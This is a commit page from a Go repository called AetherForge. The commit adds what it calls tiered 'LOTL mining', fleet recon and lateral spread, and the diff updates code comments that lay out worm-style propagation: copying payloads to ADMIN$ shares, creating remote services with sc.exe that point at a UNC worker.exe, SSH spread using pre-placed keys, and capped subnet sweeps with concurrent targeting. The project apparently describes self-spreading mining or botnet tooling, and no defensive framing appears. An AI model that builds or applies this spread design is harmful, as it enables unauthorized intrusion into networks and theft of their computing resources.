drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

Browse Source
This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
agent/deploy/subnet.go
View File

@@ -8,11 +8,15 @@ import (
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
// then sc.exe \\host create/start on the local path.
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
// the egress hop via POST /api/v1/pathtrace/spread.
// - Both require an admin-capable token on the target for remote SCM.
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
@@ -20,10 +24,13 @@ import (
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
// - ARP cache is consulted first (arp_*.go) before any active sweep.
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {